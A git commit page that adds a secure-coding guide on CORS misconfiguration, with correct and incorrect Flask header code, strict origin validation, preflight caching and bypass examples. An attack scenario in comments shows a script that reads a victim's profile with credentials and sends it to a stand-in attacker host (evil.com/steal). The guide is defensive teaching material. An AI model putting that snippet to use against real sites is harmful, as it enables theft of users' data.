Add session management, CORS, XXE patterns

Complete the security patterns collection:
- session-management.md: fixation, hijacking, secure cookies, concurrent sessions
- cors.md: origin validation, reflected origin attacks, preflight caching
- xxe.md: external entities, DTD attacks, language-specific fixes

Now 19 patterns covering comprehensive web application security.
This commit is contained in:
Rodin
2026-05-10 23:20:36 -07:00
parent 5b9f30e663
commit 17c535bc61
4 changed files with 556 additions and 4 deletions
+183
View File
@@ -0,0 +1,183 @@
# CORS Misconfiguration
## Rule
Never reflect Origin blindly. Allowlist specific origins. Don't use credentials with wildcards.
**Source:** [OWASP CORS Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
## CORS Basics
Browser blocks cross-origin requests by default. CORS headers selectively allow them:
| Header | Purpose |
|--------|---------|
| `Access-Control-Allow-Origin` | Which origins can access |
| `Access-Control-Allow-Credentials` | Allow cookies/auth |
| `Access-Control-Allow-Methods` | Allowed HTTP methods |
| `Access-Control-Allow-Headers` | Allowed request headers |
## Correct Pattern
```python
from flask import Flask, request
ALLOWED_ORIGINS = {
"https://app.example.com",
"https://admin.example.com",
}
def add_cors_headers(response):
origin = request.headers.get("Origin")
# Validate against allowlist
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
response.headers["Access-Control-Allow-Methods"] = "GET, POST, PUT, DELETE"
response.headers["Access-Control-Allow-Headers"] = "Content-Type, Authorization"
response.headers["Vary"] = "Origin" # Important for caching!
return response
# For public APIs without credentials
def add_public_cors(response):
response.headers["Access-Control-Allow-Origin"] = "*"
# Note: credentials CANNOT be used with wildcard
response.headers["Access-Control-Allow-Methods"] = "GET"
return response
# Handle preflight requests
@app.route("/api/<path:path>", methods=["OPTIONS"])
def preflight(path):
response = make_response()
return add_cors_headers(response)
```
## Incorrect Pattern
```python
# Wrong: reflect any origin (allows any site to access)
@app.after_request
def bad_cors(response):
origin = request.headers.get("Origin")
response.headers["Access-Control-Allow-Origin"] = origin # Reflected!
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
# Attack: evil.com can now make authenticated requests
# Wrong: wildcard with credentials
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Credentials"] = "true"
# Browser will reject, but shows misunderstanding
# Wrong: regex bypass
def check_origin(origin):
return origin.endswith(".example.com")
# Bypassed by: attacker-example.com
# Wrong: null origin allowed
ALLOWED_ORIGINS = {"https://app.example.com", "null"}
# "null" origin sent by sandboxed iframes, file:// URLs - attacker controlled!
# Wrong: substring match
def check_origin(origin):
return "example.com" in origin
# Bypassed by: example.com.evil.com
```
## Origin Validation
```python
from urllib.parse import urlparse
ALLOWED_ORIGINS = {"https://app.example.com", "https://admin.example.com"}
def is_valid_origin(origin: str) -> bool:
"""Strict origin validation."""
if not origin:
return False
# Never allow null
if origin == "null":
return False
# Exact match against allowlist
if origin in ALLOWED_ORIGINS:
return True
# If you need subdomain matching, be careful:
try:
parsed = urlparse(origin)
# Must be HTTPS
if parsed.scheme != "https":
return False
# Exact domain match (not suffix!)
allowed_domains = {"app.example.com", "admin.example.com"}
if parsed.netloc in allowed_domains:
return True
# Subdomain of specific parent (careful!)
if parsed.netloc.endswith(".trusted.example.com"):
# Verify it's actually a subdomain, not suffix attack
parts = parsed.netloc.split(".")
if len(parts) >= 4 and parts[-3:] == ["trusted", "example", "com"]:
return True
except Exception:
return False
return False
```
## Attack Scenarios
```python
# Scenario 1: Data theft via reflected origin
#
# Vulnerable server reflects any Origin with credentials
#
# Attacker's evil.com:
# <script>
# fetch("https://api.victim.com/user/profile", {
# credentials: "include"
# })
# .then(r => r.json())
# .then(data => {
# // Send stolen data to attacker
# fetch("https://evil.com/steal?data=" + JSON.stringify(data))
# })
# </script>
# Scenario 2: CSRF via CORS
#
# If CORS allows credentials from evil.com,
# evil.com can make authenticated state-changing requests
```
## Preflight Caching
```python
@app.after_request
def cors_headers(response):
origin = request.headers.get("Origin")
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
response.headers["Access-Control-Max-Age"] = "86400" # Cache preflight 24h
response.headers["Vary"] = "Origin" # CRITICAL for caching
return response
# Why Vary: Origin matters:
# Without it, CDN might cache response for origin A
# Then serve that cached response to origin B (wrong ACAO header!)
```
## Edge Cases
- WebSocket connections don't use CORS (use Origin header manually)
- `Access-Control-Expose-Headers` needed for custom response headers
- Preflight not sent for "simple" requests (GET, POST with basic headers)
- Internal APIs should still validate Origin (defense in depth)
- Browser extensions can bypass CORS (not a vulnerability)
- Server-to-server requests don't involve CORS